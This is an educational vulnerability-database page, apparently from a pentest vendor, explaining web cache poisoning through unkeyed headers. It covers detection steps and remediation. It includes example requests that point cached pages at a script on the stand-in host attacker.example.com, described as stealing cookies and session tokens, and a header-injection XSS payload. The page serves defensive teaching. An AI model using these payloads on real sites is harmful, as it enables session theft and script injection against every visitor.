SecureBlockLog inStart a pentest
Vulnerability Repository
HighMisconfiguration

Web Cache Poisoning

Web cache poisoning injects malicious content into a shared cache by manipulating unkeyed inputs, causing the poisoned response to be served to all subsequent users.

CVSS 8.1CWE CWE-444OWASP A05:2021 — Security Misconfiguration

Description

Web cache poisoning exploits the difference between inputs a cache server uses to identify cached responses (the cache key) and inputs the backend application uses when generating responses (unkeyed inputs). When the backend reflects an unkeyed request header, parameter, or cookie into the response without sanitization, an attacker can craft a response that contains a malicious payload—then cause that response to be cached and served to all subsequent users who request the same cached resource.

CWE-444 (Inconsistent Interpretation of HTTP Requests) applies here as well as in request smuggling, capturing the broader class of cache and proxy interpretation vulnerabilities. A05:2021 Security Misconfiguration covers cache systems that are not configured to include all response-influencing inputs in the cache key, creating the unkeyed input opportunity.

The attack is distinct from cache deception: in cache poisoning the attacker injects malicious content into the cache; in cache deception the attacker tricks the cache into storing the victim's private content. Cache poisoning impacts all users who receive the poisoned response, making it equivalent in effect to a stored XSS or response injection vulnerability with application-wide reach.

How It Works

The attacker identifies an unkeyed input: a request header that the backend reflects into the response but that the cache server ignores when computing the cache key. A common example is the X-Forwarded-Host header:

GET / HTTP/1.1
Host: example.com
X-Forwarded-Host: attacker.example.com

HTTP/1.1 200 OK
Cache-Control: public, max-age=3600
Content-Type: text/html

<html>
<script src="https://attacker.example.com/tracking.js"></script>
<!-- Backend reflected X-Forwarded-Host into absolute script URL -->

The cache stores this response under the key GET / (because X-Forwarded-Host is not part of the key). Every subsequent user who requests the homepage receives the response with the attacker-controlled script URL:

GET / HTTP/1.1
Host: example.com

HTTP/1.1 200 OK
X-Cache: HIT
Content-Type: text/html

<html>
<script src="https://attacker.example.com/tracking.js"></script>

The attacker serves malicious JavaScript from attacker.example.com/tracking.js that steals cookies and session tokens from every visitor.

Other unkeyed inputs include X-Original-URL, X-Rewrite-URL, query string parameters excluded from the cache key, and HTTP request port. Penetration testers use Burp Suite's Param Miner extension to automatically discover unkeyed inputs:

# Param Miner discovers that X-Forwarded-Scheme is unkeyed
# Injecting: X-Forwarded-Scheme: https%0d%0aContent-Type:text/html%0d%0a<script>alert(1)</script>

Fat GET attacks also exploit cache poisoning: some cache servers cache responses to GET requests even when a body is present, and the backend processes the body's parameters—creating a cache poisoning vector through GET body injection.

Impact

  • Stored XSS at scale — A poisoned cached JavaScript resource executes attacker-controlled code in every visitor's browser for the duration of the cache TTL.
  • Mass credential theft — Injected keyloggers or form hijacks capture login credentials from all users who encounter the poisoned cache entry.
  • Phishing redirection — Poisoned redirect responses send all users of a cached URL to an attacker-controlled phishing page.
  • DoS via cache poisoning — Injecting error responses or infinite redirect loops into the cache renders the targeted resource inaccessible for all users.
  • Security header stripping — Cache poisoning can remove security headers (CSP, HSTS) from cached responses, degrading security posture for all affected users.

Detection

  1. Use Burp Suite's Param Miner extension to automatically fuzz all request headers and query parameters for unkeyed inputs that are reflected in responses.
  2. Manually test common unkeyed headers: X-Forwarded-Host, X-Original-URL, X-Rewrite-URL, X-Forwarded-Port, X-Forwarded-Scheme, and X-Host.
  3. Observe cache behavior indicators: X-Cache: HIT, Age:, CF-Cache-Status: HIT, and Varnish headers confirm a caching layer is present.
  4. Test whether adding a cache-busting query parameter (?cachebust=<random>) causes a cache miss—this confirms caching and allows safe testing without polluting the real cache.
  5. Test for DOM-based cache poisoning via query parameters: inject XSS payloads into parameters included in the response body but excluded from the cache key.

Remediation

Include all response-influencing inputs in the cache key. Audit which request headers and parameters affect the response and ensure they are either included in the cache key or stripped before reaching the backend.

Disable caching for responses that vary by user-supplied headers. Responses that reflect request headers should not be cached without a corresponding Vary header that includes those headers in the cache key:

# Vary header forces the cache to key on these headers
Vary: X-Forwarded-Host, Accept-Language, User-Agent

Sanitize unkeyed header reflection. If the backend must reflect unkeyed headers, sanitize the values to prevent injection of HTML, JavaScript, or header newlines.

Use Cache-Control: no-store for dynamic user-specific content. Prevent caching of responses that contain user-specific data or reflect user-controlled input.

Ready when you are
Scope a pentest in the next two minutes.
Start scoping